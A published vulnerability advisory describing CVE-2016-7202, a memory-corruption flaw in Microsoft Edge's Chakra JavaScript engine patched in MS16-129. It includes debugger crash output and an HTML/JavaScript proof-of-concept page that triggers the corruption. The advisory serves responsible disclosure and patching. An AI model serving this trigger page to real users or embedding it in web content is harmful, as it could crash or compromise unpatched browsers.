security-assessment.com

Vulnerability Advisory

Name	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
CVE	CVE-2016-7202
Vendor Website	http://www.microsoft.com/
Date Released	09/11/2016
Affected Software	Microsoft Windows 10 Microsoft Windows Server 2016
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Recycler::ScanObject+0x23:
6a714bea 8b37            mov     esi,dword ptr [edi]  ds:0023:03f60000=????????
2:046> k
ChildEBP RetAddr
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Windows\system32\msvcrt.dll -
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
WARNING: Stack unwind information not available. Following frames may be wrong.
0328fbd0 775c1328 msvcrt!itow_s+0x4c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Windows\system32\kernel32.dll -
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>try{
for(var z in "a") a1.set(a1,  '' );
Array.prototype.sort.call(a1, 'a', a1)
a1 = this;
a2 = [];
a1 = a2.concat(a1.a1);
var a1 = new Iterator(a1);
a1.add(a1);
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
a1.reverse();
Array.prototype.reverse.call(a1);
a1.splice(1, 10);
}catch(e){};</script>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS16-129) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com